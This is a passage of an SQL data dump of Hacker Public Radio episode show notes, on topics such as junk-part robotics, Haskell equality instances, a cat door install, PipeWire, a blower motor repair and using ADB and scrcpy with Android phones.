(3482,'2021-12-07','Introduction to Post Apocalyptic Robotics Meta Technology',810,'Building robots from junk parts and tech prepping','<p><a href=\"https://solarbotics.net/bftgu/default.htm\" class=\"uri\">https://solarbotics.net/bftgu/default.htm</a><br />\r\n<a href=\"https://www.bitchute.com/video/jwD4sZhnXrEk/\" class=\"uri\">https://www.bitchute.com/video/jwD4sZhnXrEk/</a></p>\r\n<p>Hail to my Loyal Henchmen and fellow SuperVillains, welcome new recruits and greetings to the hackers of HPR.</p>\r\n<p>This is Mechatroniac the mechatronics maniac with the zeroth installment of Robot Warlords of the Apocalypse, where I will talk about post apocalyptic robotics and share my projects, philosophy and future ambitions.</p>\r\n<p>I am doing this podcast contribution for hacker public radio.</p>\r\n<p>hackerpublicradio.org</p>\r\n<p>After this has aired on HPR I will be adding video and to this presentation which will be uploaded to my channel at:</p>\r\n<p><a href=\"https://bitchute.com/channel/mechatroniac\" class=\"uri\">https://bitchute.com/channel/mechatroniac</a> point youtube-dl at it and download them all.</p>\r\n<p>Mechatronics is code, electronics and mechanics working together as a system. I am weak in all 3, but have built mini battlebot style robots completely from scratch, with every chassis part, every motor and wheel, and every circuit that drives them sourced for free from junk like discarded printers, dvds, tvs, computers and UPS.</p>\r\n<p>I am calling this ethos and the resultant aesthetic, Post Apocalyptic Robotics, that is robots that can be built by reclaiming existing post consumer products to create something new.</p>\r\n<p>Currently they are confined to smooth surfaces like battlebot arenas, but more rugged terrain bots are currently also being worked on, and I want to work towards autonomous and swarm robots as well.</p>\r\n<p>The recipes I release here, can be followed by anyone to build their own robots and devices, by simply gathering the required scrap units or similar as described; then disassembling, then finally reassembling into a new meta technological device.</p>\r\n<p>I hope that others will do the same, and come up with their own innovations and new recipes that can be added to our incipient swarms of meta-technological bots as they evolve ever more sophistication.</p>\r\n<p>Welcome to post apocalyptic robotics.</p>\r\n<p>Introduction to Post-Apocalypse Robotics Meta-technology</p>\r\n<p>Tech Prepping, Building a \'battlebot\' out of junk</p>\r\n<p>Meteors, asteroids, comets. Cataclysmic solar flares, massive volcanic eruptions and earthquakes triggering massive tsunamis, social unrest, runaway climate change, ransomware and EMPs attacks striking electric grids, deadly viral pandemics, mass hysteria, big boats blocking waterways, obscured malware in a systemd update, management engines at the heart of CPUs providing backdoors to Intel and AMD hardware at root -3 privilege... what could go wrong there?</p>\r\n<p>There are a large number of looming events which could collapse technological society as it is, wiping out most of the internet and shipping and transport and hopefully maybe even the government.</p>\r\n<p>Tech Prepping is more important than food prepping</p>\r\n<p>While most survivalist and prepper types concentrate on stacking cans of beans, seeds, fuel and ammo, the robot prepper will also be hoarding books on pdf, component datasheets, software libraries, breakout boards and every post EOL electronics product they can get their hands on.</p>\r\n<p>In a semi apocalyptic scenario where the trucks stop rolling, a lot of people who save seeds will be able to grow food in their communities, so food won\'t be such a big deal.</p>\r\n<p>There might even be some that figure out how to make petroleum from wood like mrteslonian channel on youtube.</p>\r\n<p>But a real crux will be analog, digital electronics technology, IT and mechatronics. Those communities with working electronics, mechatronics, and information technology infrastructure, will be at a distinct competitive advantage. They will be able to leverage this in such things as automation of agriculture, from watering schedules to weed pulling along with many other applications that will make the PAR communities ascendant. All else being equal, PAR will be a force multiplier vs hostile neighbours starved of their slaveslabs swiping because facebook no longer exists, or remnants of the tyrannical state coming out of their DUMB bunkers and thinking they still have the right to rule.</p>\r\n<p>It\'s a good thing then, that we have a boost up to a mechatronic technological society all around us in the electronic consumer devices that although they may be decrepit, soiled and/or dead, nonetheless contain a wealth of component parts -most of which are hardy enough to function for a very long time, components that can be reused in new applications.</p>\r\n<p>It\'s like there is a supply chain for robot factories all around us. It\'s not infinite but it is very plentiful at the moment. Sadly, our society is blind to the current and future worth of the technological legacy in our midst and the electronics recycling is electronics destruction.</p>\r\n<p>Meta technology</p>\r\n<p>Antecedents: BEAM, cyberpunk, road warrior</p>\r\n<p>Fellow Travellers/Parallels: Maker, Right to repair, hardware hacking(Valerio De Giampietro - Hardware Hacking Tutorial), CollapseOS</p>\r\n<p>One of this new meta technology\'s main antecedents is BEAM(Biology Evolution Aesthetics Mechanics) robotics, Mark Tilden\'s robot projects that eschewed microprocessors in favour of circuits built of discrete components that mimic biological nerves and can react to environmental stimuli. There is a nice archive of BEAM related documents on the solarbotics site.</p>\r\n<p>Mark Tilden even wrote a book called \'Junk Bots\', so must have had some of the same ideas I have... but where Mark uses transistors as the nerves and brains, I am using arduino since microprocessors are now very inexpensive.</p>\r\n<p>The use of arduino is the only thing keeping my projects from being completely PAR, but one day wish to have entirely PAR</p>\r\n<p>Thus right to repair and hardware hacking are thus two important aspects to utilizing the processors inside consumer products to run other operating systems for our use. Unless we hoard thousands of atmega328p chips, it will be difficult to find processors that we can use unless they have been liberated via techniques described by Valerio De Giampietro. Reusing processors from printers and other products is a goal for the future, but right now, let\'s have some fun.</p>\r\n<p>FUN and Education The first arduino PAR battlebot I built - the herald/interceptor; is powered by 5 18650 cells from trashed laptops, powertrain is a custom hybrid relay/MOSFET H-bridge, and it is driven by four electric motors and wheels harvested from PA printers. It has IR remote control and is very fast to the extent that I had to add rubber bumpers to it to keep it and others safe.</p>\r\n<p>I departed somewhat from the PAR ethos, with added front and rear ultrasonic sensors, and an mp3 player powering a tv speaker. Hence, it is the herald/interceptor</p>\r\n<p>I think it has an interesting road warrior cyberpunk aesthetic, with the grey steel, aluminum and black ABS parts, and but for the wheels; star wars for the bolted on look of it</p>\r\n<p>Can we set up PAR tournaments where we can bring our bots and battle it out? Cost is no longer a barrier.</p>\r\n<p>I could see a challenging new sport that is a cross between battlebots and junkyard wars, where contestants would have a set amount of time to build a bot from junk, and then compete in racing or sumo matches.</p>\r\n<p>Obviously you are going to learn a lot building a robot and the best way to learn is by doing.</p>\r\n<p>Alright, now that I have shown some of the important strategic and fun implications of PAR meta technology, by raiding trashed consumer electronics for their components: I hope at the very least that everyone hearing this never again take their post use electronics to one of those recycling centers where all those precious components are destroyed, instead of keeping it in your basement where it belongs. You\'d do better taking it to a landfill where perhaps some future wretched mutant can discover and make use of it, than take it to electronics recycling.</p>\r\n<p>Next episode I\'ll show you how to build your PAR laboratory and give you the ingredients to the herald/interceptor battlebot, but if you\'re already excited to get started you can order an arduino Uno or nano, or an arduino kit with a bunch of sensors like I did when I got started. You can also start gathering things like printers, tvs, dvds, UPS and other waste, and get a soldering station if you don\'t already have one.</p>\r\n<p>In the coming episodes I will share the detailed recipe for my first post apocalyptic battlebot style robot I built complete with arduino code, and will show you how to build your own robot for free except for the arduino*. I\'ll also do email tech support for anyone having problems.</p>\r\n<p>I also want to go further into other tech prepper archiving, in case all or large parts of the internet are no longer accessible, and this may be where you programming specialists might be able to help. They kind of gave me weird looks on the arduino forums when I asked for a way to download all the libraries but was finally able to beg a script that let me download a lot of them, if not all.</p>\r\n<p>Also, all the component datasheets would be handy... it seems it would be prudent to have datasheets on all the components and microprocessors that you possibly can, and to have all the software libraries it would be practical to archive.</p>\r\n<p>I\'ll also go into more aspects and implications of this exciting meta technology, and I hope you will join me in building post apocalypse robotics and mechatronics fun.</p>\r\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics',0,0,1),
(3489,'2021-12-16','Equality of structured errors',776,'tuturto talks about equality in Haskell','<p>Equality of structured errors</p>\r\n<h2 id=\"background\">Background</h2>\r\n<p>In previous episode, I built a system where error codes weren\'t defined in one huge type. This made compilation times faster and maintenance quite a bit more easier.</p>\r\n<h2 id=\"problem\">Problem</h2>\r\n<p>I wanted to write a test to see that parameters passed to <code>validatePatchApiPersonR</code> are validated correctly. <code>patchApiPersonR</code> is used by client to do partial updates on a <code>Person</code> entity. There\'s three different cases I wanted to check:</p>\r\n<ul>\r\n<li>trying to change life focus too soon (there\'s 5 year cooldown)</li>\r\n<li>trying to select same life focus that has already been selected</li>\r\n<li>trying to modify somebody else\'s avatar</li>\r\n</ul>\r\n<p>Code is shown below and the last 2 lines are the interesting ones. There I\'m using equality to compare if a given error exists in a list of errors created by <code>validatePatchApiPersonR</code>.</p>\r\n<pre><code>spec :: Spec\r\nspec = do\r\n    describe &quot;people&quot; $ do\r\n        describe &quot;life focus&quot; $ do\r\n            describe &quot;Validating requests&quot; $ do\r\n                it &quot;All errors are reported&quot; $ do\r\n                    forAll anyCompletelyFaultyRequest $\r\n                        \\(userE, personE, msg, date) -&gt;\r\n                            let res = validatePatchApiPersonR (userE ^. entityKeyL, userE ^. entityValL, personE, msg, date)\r\n                                newFocus = msg ^? patchPersonRequestLifeFocus . _Just . _Just\r\n                            in\r\n                                case res of\r\n                                    V.Success _ -&gt;\r\n                                        expectationFailure &quot;Invalid request was not detected&quot;\r\n\r\n                                    V.Failure errs -&gt; do\r\n                                        errs `shouldSatisfy` (\\xs -&gt; any (\\x -&gt; &quot;CanNotChangeLifeFocusSoSoon&quot; `isInfixOf` (pack $ show x)) xs)\r\n                                        errs `shouldContain` [ canNotReselectSameLifeFocus newFocus ]\r\n                                        errs `shouldContain` [ insufficientRights ]\r\n</code></pre>\r\n<h2 id=\"detour-on-equality\">Detour on equality</h2>\r\n<p>Equality in Haskell works slightly differently compared to for example C#. There is no built in, default implementation that gets used when the programmer hasn\'t written their own. If you want to compare equality, there needs to be implementation specific to your data types. This is done by making an instance of type class <code>Eq</code> (<a href=\"https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Eq.html\">https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Eq.html</a>).</p>\r\n<pre><code>class Eq a where\r\n  (==) :: a -&gt; a -&gt; Bool\r\n  (/=) :: a -&gt; a -&gt; Bool\r\n</code></pre>\r\n<p>There\'s two functions: <code>==</code> for equality and <code>/=</code> for inequality. You need to implement either one.</p>\r\n<h2 id=\"back-to-problem\">Back to problem</h2>\r\n<p><code>ECode</code> is our structured error code type and defined as follows (this is short recap of previous episode):</p>\r\n<pre><code>data ECode where\r\n    ECode :: (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt; a -&gt; ECode\r\n</code></pre>\r\n<p>It can wrap anything that has correct type class instances and you will always get <code>ECode</code> as a result. It hides the specific type of thing being wrapped and only functions defined in type classes are available.</p>\r\n<h2 id=\"first-try\">First try</h2>\r\n<p>Peel away <code>ECode</code> and compare what\'s inside and compare wrapped values:</p>\r\n<pre><code>instance Eq ECode where\r\n    ECode a == ECode b =\r\n        a == b\r\n</code></pre>\r\n<p>This will lead into a error \"Couldn\'t match expected type &#x2018;a&#x2019; with actual type &#x2018;a1&#x2019;. &#x2018;a1&#x2019; is a rigid type variable bound by a pattern with constructor...\". This is because <code>ECode</code> can wrap many different types, there is no quarantee that you\'re comparing values of same type. The whole error is show below for reference:</p>\r\n<pre><code>[35 of 76] Compiling Errors           ( src/Errors.hs, .stack-work/dist/x86_64-linux/Cabal-2.2.0.1/build/Errors.o )\r\n\r\n/home/tuula/programming/sky/src/Errors.hs:148:14: error:\r\n    &#x2022; Couldn&#39;t match expected type &#x2018;a&#x2019; with actual type &#x2018;a1&#x2019;\r\n      &#x2018;a1&#x2019; is a rigid type variable bound by\r\n        a pattern with constructor:\r\n          ECode :: forall a.\r\n                   (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt;\r\n                   a -&gt; ECode,\r\n        in an equation for &#x2018;==&#x2019;\r\n        at src/Errors.hs:147:16-22\r\n      &#x2018;a&#x2019; is a rigid type variable bound by\r\n        a pattern with constructor:\r\n          ECode :: forall a.\r\n                   (ErrorCodeClass a, ToJSON a, Eq a, Show a) =&gt;\r\n                   a -&gt; ECode,\r\n        in an equation for &#x2018;==&#x2019;\r\n        at src/Errors.hs:147:5-11\r\n    &#x2022; In the second argument of &#x2018;(==)&#x2019;, namely &#x2018;b&#x2019;\r\n      In the expression: a == b\r\n      In an equation for &#x2018;==&#x2019;: ECode a == ECode b = a == b\r\n    &#x2022; Relevant bindings include\r\n        b :: a1 (bound at src/Errors.hs:147:22)\r\n        a :: a (bound at src/Errors.hs:147:11)\r\n    |\r\n148 |         a == b\r\n    |\r\n</code></pre>\r\n<h2 id=\"second-try\">Second try</h2>\r\n<p>We can use <code>Show</code> to turn <code>ECode</code> into string and compare them. This is what I did initially.</p>\r\n<pre><code>instance Eq ECode where\r\n    a == b = show a == show b\r\n</code></pre>\r\n<p>While this works, it feels hacky. It relies on string representations being different. If you accidentally write <code>Show</code> instance in a way that produces same string with two different values, the comparison breaks down.</p>\r\n<h2 id=\"third-time-is-a-charm\">Third time is a charm</h2>\r\n<p>After pondering a bit, I asked myself a question \"When are two <code>ECode</code> equal?\". The answer I arrived is \"When they have same http status code and description.\" Then I could write yet different take on equality:</p>\r\n<pre><code>instance Eq ECode where\r\n    a == b =\r\n        httpStatusCode a == httpStatusCode b\r\n        &amp;&amp;  description a == description b\r\n</code></pre>\r\n<p>This states that to two <code>ECode</code> values are equal, if they have same <code>httpStatusCode</code> and <code>description</code>.</p>\r\n<p>Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I\'m <code>tuturto@tech.lgbt</code>. Or even better, you could record your own hacker public radio episode.</p>\r\n<p>Ad astra!</p>\r\n',364,107,1,'CC-BY-SA','haskell, eq',0,0,1),
(3487,'2021-12-14','Installing a cat door',1446,'Rho`n installs a cat door in his interior basement door','<h1>Synopsis</h1>\r\n<p>In today\'s episode, Rho`n installs a cat door in the basement door separating the finished side of the basement from the utility side. Follow along as he learns once again that it is best to read all the instructions before starting a project, and also learns that modern, inexpensive, interior doors are not made of wood.</p>\r\n\r\n<p>The following are the pictures taken during the project.</p>\r\n<style>\r\ndiv#figures {\r\n	display: flex;\r\n	flex-direction: row;\r\n	flex-wrap: wrap;\r\n	justify-content: center;\r\n}\r\ndiv#figures figure { max-width: 492px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n<div id=\"figures\">\r\n<figure>\r\n	<a href=\"https://hackerpublicradio.org/eps/hpr3487/01.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/01-sm.jpg\"\r\n         alt=\"Basement door laid out on a table with the cat door template applied\"></a>\r\n    <figcaption>Basement door laid out on a table with the cat door template applied</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3487/02.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/02-sm.jpg\"\r\n								   alt=\"Basement door after cutting a hole through it. Showing the hole and the interior of the door.\"></a>\r\n    <figcaption>Basement door after cutting a hole through it. Showing the hole and the interior of the door.</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3487/03.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/03-sm.jpg\"\r\n								   alt=\"View from the finished side of the basement showing the installed cat door.\"></a>\r\n    <figcaption>View from the finished side of the basement showing the installed cat door.</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3487/04.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3487/04-sm.jpg\"\r\n								   alt=\"View from the utility side of the basement showing the installed cat door.\"></a>\r\n    <figcaption>View from the utility side of the basement showing the installed cat door.</figcaption>\r\n</figure>\r\n</div>\r\n<h1>Attribution</h1>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','Install, cat door',0,0,1),
(3492,'2021-12-21','Linux Inlaws S01E44: Pipewire Just another audio server Think again',3170,'Pipewire - Just another audio server? - Think again!','<p>In this episode - sadly missing Martin as he buggered off to do something\r\nelse - the remaining Inlaw hosts Wim Taymans, inventor and brain behind\r\nPipewire, a new approach to Linux audio. Don\'t miss out on this episode if\r\nyou\'re fed up with Pulseaudio (hello Martin :-) or find Jack just too\r\ncomplicated for every-day usage - you may see audio on Linux from a different\r\nperspective after this episode... Never mind those of you who are looking for\r\na crash-course on audio on Linux - this episode is for you!</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Pipewire: <a href=\"https://github.com/PipeWire/pipewire\" target=_blank>https://github.com/PipeWire/pipewire</a></li>\r\n<li>gstreamer: <a href=\"https://gstreamer.freedesktop.org\" target=_blank>https://gstreamer.freedesktop.org</a></li>\r\n<li>ALSA: <a href=\"https://alsa-project.org/wiki/Main_Page\" target=_blank>https://alsa-project.org/wiki/Main_Page</a></li>\r\n<li>PulseAudio: <a href=\"https://www.freedesktop.org/wiki/Software/PulseAudio\" target=_blank>https://www.freedesktop.org/wiki/Software/PulseAudio</a></li>\r\n<li>Jack: <a href=\"https://jackaudio.org\" target=_blank>https://jackaudio.org</a></li>\r\n<li>eventfd: <a href=\"https://man7.org/linux/man-pages/man2/eventfd.2.html\" target=_blank>https://man7.org/linux/man-pages/man2/eventfd.2.html</a></li>\r\n<li>Rubik\'s Cube: <a href=\"https://www.rubiks.com/en-us\" target=_blank>https://www.rubiks.com/en-us</a></li>\r\n<li>And how to solve this: <a href=\"https://ruwix.com/the-rubiks-cube/advanced-cfop-fridrich\" target=_blank>https://ruwix.com/the-rubiks-cube/advanced-cfop-fridrich</a></li>\r\n<li>How to make Kefir: <a href=\"https://www.twopeasandtheirpod.com/how-to-make-kefir\" target=_blank>https://www.twopeasandtheirpod.com/how-to-make-kefir</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Linux audio, Pipewire, PulseAudio, Jack, gstreamer, Rubik\'s Cube, Kefir',0,0,1),
(3499,'2021-12-30','Fixing a noisy blower motor',264,'I fix a noisy blower motor that I put off since last winter.','<p>A brief description of fixing a problem I put off from last winter, on the 2013 Hyundai Elantra.</p>\r\n<p><em>Motor with the electrical plug still attached</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211119_171709.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211119_171709_thumbnail.jpg\" alt=\"Motor with the electrical plug still attached\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>12 volt plug showing where to press the clip to remove it</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_134626.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_134626_thumbnail.jpg\" alt=\"12 volt plug showing where to press the clip to remove it\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Mess left by the lithium grease spray</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211119_172040.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211119_172040_thumbnail.jpg\" alt=\"Mess left by the lithium grease spray\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Broken clip: Don\'t try this</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_135727.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_135727_thumbnail.jpg\" alt=\"Broken clip: Don&#39;t try this\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Motor cage apart, showing the bearing</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3499/20211120_143842.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3499/20211120_143842_thumbnail.jpg\" alt=\"Motor cage apart, showing the bearing\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<!-- ![Motor with the electrical plug still attached.](20211119_171709.jpg) -->\r\n\r\n<!-- Motor with the electrical plug still attached. -->\r\n\r\n<!-- ![12 volt plug showing where to press the clip to remove it.](20211120_134626.jpg) -->\r\n\r\n<!-- 12 volt plug showing where to press the clip to remove it. -->\r\n\r\n<!-- ![Mess left by the lithium grease spray.](20211119_172040.jpg) -->\r\n\r\n<!-- Mess left by the lithium grease spray. -->\r\n\r\n<!-- ![Broken clip: Don\'t try this.](20211120_135727.jpg) -->\r\n\r\n<!-- Broken clip: Don\'t try this. -->\r\n\r\n<!-- ![Motor cage apart, showing the bearing.](20211120_143842.jpg) -->\r\n\r\n<!-- Motor cage apart, showing the bearing. -->\r\n\r\n<h2 id=\"attribution\">Attribution</h2>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/juanto9889/sounds/414870\"> efectos de sonido cartoon &#xBB; transition </a><br>\r\nAuthor: <a href=\"https://freesound.org/people/juanto9889\">juanto9889</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',318,0,0,'CC-BY-SA','car,repair,maintenance,bearing',0,0,1),
(3508,'2022-01-12','Differences between C# and Haskell',1712,'tuturto talks about some of the differences between C# and Haskell','<p>This episode covers some of the differences between C# and Haskell. I\'m probably going to omit lot of things accidentally.</p>\r\n<ul>\r\n<li>Origin: practical language for solving real world problems vs. programming language research</li>\r\n<li>Main paradigm: object oriented vs purely functional</li>\r\n<li>Changing data: mutability vs. immutability</li>\r\n<li>Data structures: inheritance vs. composition</li>\r\n<li>Execution model: strict vs. nonstrict</li>\r\n<li>Side effects: anywhere vs. specifically marked areas in the code</li>\r\n</ul>\r\n<p>Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I\'m <code>tuturto@tech.lgbt</code>. Or even better, you could record your own hacker public radio episode.</p>\r\n',364,107,0,'CC-BY-SA','haskell, c#, programming',0,0,1),
(3515,'2022-01-21','ADB and scrcpy',565,'Some useful tools for working with Android Devices','<h1 id=\"android-debugging\">Android Debugging</h1>\r\n<ul>\r\n<li><a href=\"https://developer.android.com/studio/command-line/adb\">Android Debug Bridge (adb) homepage</a></li>\r\n</ul>\r\n<h2 id=\"install-adb-tools\">Install ADB Tools</h2>\r\n<p>There are multiple guides online as to how to install, but I found <code>dnf install android-tools.x86_64 adb-enhanced.noarch</code> the easiest. Similar commands are available for the other distros. Use your package manager to search for <code>adb</code>.</p>\r\n<ul>\r\n<li><a href=\"https://www.xda-developers.com/install-adb-windows-macos-linux/\">https://www.xda-developers.com/install-adb-windows-macos-linux/</a></li>\r\n</ul>\r\n<h2 id=\"enable-developer-options\">Enable Developer options</h2>\r\n<p>Go to Settings. Usually via the pulldown menu from the top twice, and click the cog icon. Search for \'Build Number\', it\'s usually in Click on \'About Phone\' Click on \'Build Number\' seven times.</p>\r\n<p>Go back and then search for \'Developer options\' it\'s usually in the System section</p>\r\n<p>You\'ll need to turn on two features \'Android Debugging\' and \'ADB over network\'</p>\r\n<p>While we are at it, go back and then search for \'IP Address\' it\'s usually in the <code>About phone</code> section. You should see a IPv4 address eg: 192.168.1.100. Make note of the IP address as we\'ll use it later.</p>\r\n<h2 id=\"using-adb\">Using ADB</h2>\r\n<p>To get help use the command <code>adb help</code></p>\r\n<ul>\r\n<li>global options: Tell you how to connect to the phone</li>\r\n<li>general commands: Shows your devices, and gives help</li>\r\n<li>networking: Allows you to connect over the network but also to port forward and reverse traffic</li>\r\n<li>file transfer: The only reliable way to get files to and from your device.</li>\r\n<li>internal debugging: Shows how to control the server</li>\r\n</ul>\r\n<h3 id=\"usb\">USB</h3>\r\n<p>Plug your phone using a usb cable. There will be a notification and a popup to allow the connection.</p>\r\n<p>Run <code>adb shell</code> and all going well you should see your phone. Commands like <code>ls</code>, <code>cd</code>, and <code>find</code> work well. For example <code>find /storage/self/primary/</code>.</p>\r\n<h3 id=\"network\">Network</h3>\r\n<p>Unfortunately if you unplug your phone you no longer have a connection to it, but you can enable network access via tcp. Leave your phone connected to USB and then tell it to use a TCP/IP connection with the command <code>adb tcpip 5555</code>.</p>\r\n<p>Then connect to the phone using the phones IP address and port 5555, <code>adb connect 192.168.1.100:5555</code>. It should reply with a connected to message</p>\r\n<pre><code>$ adb connect 192.168.1.100:5555\r\nconnected to 192.168.1.100:5555</code></pre>\r\n<p>Now commands like <code>adb shell</code> should allow you to access the phone even if it\'s not physically connected via usb.</p>\r\n<h3 id=\"multiple-devices\">Multiple devices</h3>\r\n<p>Got multiple devices then you can connect them all in the same way as shown above. The only issue is you need to tell adb which one you want to address.</p>\r\n<p>The first thing you need to do is list the devices</p>\r\n<pre><code>$ adb devices -l\r\nList of devices attached\r\n192.168.1.100:5555   device product:XXXX model:XXXX device:XXXX transport_id:9\r\n192.168.1.101:5555   device product:YYYY:ZZZZ device:ZZZZ transport_id:14</code></pre>\r\n<p>The important bit is the <code>transport_id</code> at the end. You can then use the <code>adb</code> command as normal but specifying the <code>-t</code> option</p>\r\n<pre><code>-t: allocate a pty if on a tty (-tt: force pty allocation)</code></pre>\r\n<p>So for example <code>adb -t 14 shell</code> would connect to phone <em>YYYY</em></p>\r\n<p>So that\'s it for remote control from the shell, but what if you want to see and interact with the screen itself ?</p>\r\n<h2 id=\"remote-screen-sharing-with-scrcpy\">Remote screen sharing with <code>scrcpy</code></h2>\r\n<p>From <a href=\"https://en.wikipedia.org/wiki/scrcpy\">Wikipedia</a></p>\r\n<p><em>scrcpy is a free and open-source screen mirroring application that allows control of an Android device from a Windows, macOS, or Linux desktop computer. The software is currently developed by Genymobile, which also developed Genymotion, an Android emulator.</em></p>\r\n<p>The <a href=\"https://github.com/Genymobile/scrcpy\">source code is available on github</a>. It\'s available via <code>apt install scrcpy</code> on Ubuntu. In Fedora you\'ll need to enable it from the copr repo.</p>\r\n<pre><code>dnf copr enable zeno/scrcpy\r\ndnf install scrcpy</code></pre>\r\n<p>With only one phone connected you can just type <code>scrcpy</code> and the screen will appear. Remember right click is power, and the mouse is your finger ;-).</p>\r\n<p>If you have multiple devices connected you can connect using <code>scrcpy --tcpip=192.168.1.101:5555</code></p>\r\n<p>scrcpy is a wonderful tool that deserves a show in itself, but in short it lets you interact with your phone as if it was a VNC/Remote Desktop session. You can copy text <em>from</em> the phone as well.</p>\r\n<p>It allows for control of the screen, as well as screen recording.</p>\r\n',30,0,0,'CC-BY-SA','adb,scrcpy,android Debug Bridge',0,0,1),
(3493,'2021-12-22','My First Spanish HPR Episode',302,'A short Spanish episode inspired by discussions about non-English episodes on the HPR mailing list.','<ul>\r\n<li>Mendoza, Argentina - <a href=\"https://en.wikipedia.org/wiki/Mendoza,_Argentina\">https://en.wikipedia.org/wiki/Mendoza,_Argentina</a></li>\r\n<li>Spanish (Castilian/Castellano) Language - <a href=\"https://en.wikipedia.org/wiki/Spanish_language\" class=\"uri\">https://en.wikipedia.org/wiki/Spanish_language</a></li>\r\n<li>Texto-Plano - <a href=\"https://texto-plano.xyz\" class=\"uri\">https://texto-plano.xyz</a></li>\r\n<li>El Podcast de Texto-Plano - <a href=\"https://podcast.texto-plano.xyz/\" class=\"uri\">https://podcast.texto-plano.xyz/</a></li>\r\n<li>SDF - <a href=\"https://sdf.org\" class=\"uri\">https://sdf.org</a></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','spanish,languages,castellano,espanol,pubnix,textoplano,podcast',0,0,1),
(3498,'2021-12-29','Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies',8076,'the same as the title so I\'m not going to repeat it','<p>In this end of year episode / Xmas bumper our two aging heroes host the Grumpy Old Coders\r\nonce again. Apart from having lots of fun, our four eclectic panelists discuss the year in\r\nreview and some obscure predictions the Inlaws made at the end of last year in S01E20 to\r\nsee if these became true or not. Plus a seriously long commercial break on mainframes\r\ndone by our own Chris (Arvind / Jim / IBM: If you\'re listening: the sponsor mail address\r\nis ibm_sponsor@linuxinlaws.eu). Plus some juicy competitive knowledge about some hyperscalers.\r\nBeans spilled right from the inside... In addition to cloud nightmares. So if you\'re into\r\nhorror after never mind beyond Halloween this is your episode... There might be the odd open source\r\nangle to this episode but we are not sure and this of course is purely by accident - just find out for yourself! :-)\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Grumpy Old Coders (incuding the Darkside and Women in Tech episodes): <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n<li>Broken CentOS 8 promise: <a href=\"https://blog.centos.org/2020/12/future-is-centos-stream\" target=_blank>https://blog.centos.org/2020/12/future-is-centos-stream</a></li>\r\n<li>Mainframes and the cloud: <a href=\"https://www.forbes.com/sites/tomtaulli/2021/01/23/will-the-cloud-take-down-the-mainframe\" target=_blank>https://www.forbes.com/sites/tomtaulli/2021/01/23/will-the-cloud-take-down-the-mainframe</a></li>\r\n<li>Woman in the red dress: <a href=\"https://matrix.fandom.com/wiki/Woman_in_Red\" target=_blank>https://matrix.fandom.com/wiki/Woman_in_Red</a></li>\r\n<li>Goedel\'s theorems: <a href=\"https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems\" target=_blank>https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems</a></li>\r\n<li>Veritasium video on incompleteness: <a href=\"https://www.youtube.com/watch?v=HeQX2HjkcNo\" target=_blank>https://www.youtube.com/watch?v=HeQX2HjkcNo</a></li>\r\n<li>Bezos laughing after divorce: <a href=\"https://www.youtube.com/watch?v=MU8AyKO7qX4\" target=_blank>https://www.youtube.com/watch?v=MU8AyKO7qX4</a></li>\r\n<li>KGB (I): <a href=\"https://stackoverflow.com/questions/19904683/passing-a-kernel-global-buffer-to-a-local-function-in-opencl\" target=_blank>https://stackoverflow.com/questions/19904683/passing-a-kernel-global-buffer-to-a-local-function-in-opencl</a></li>\r\n<li>KGB (II): <a href=\"https://www.google.com/search?channel=fs&client=ubuntu&q=%22kellogs+greatest+beer%22\" 